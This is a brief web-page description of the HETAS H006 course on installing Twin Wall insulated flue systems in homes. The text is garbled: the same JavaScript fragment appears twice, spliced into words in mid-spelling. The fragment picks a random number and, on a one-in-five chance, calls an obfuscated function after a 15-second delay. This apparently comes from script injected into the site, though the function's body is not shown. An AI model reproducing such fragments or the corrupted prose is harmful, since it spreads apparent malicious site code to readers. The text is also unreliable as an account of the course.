The HETAS  H006 course is targeted at Candom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andidates wishing to work with Twin Wall insulated flues. This Course provides Training that is suitable for the correct installation of stainless steel Twin Wall insulated rigid flue systems into residential properties. The course discusses system components andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and how they are installed in relation to the various elements of a domestic structure.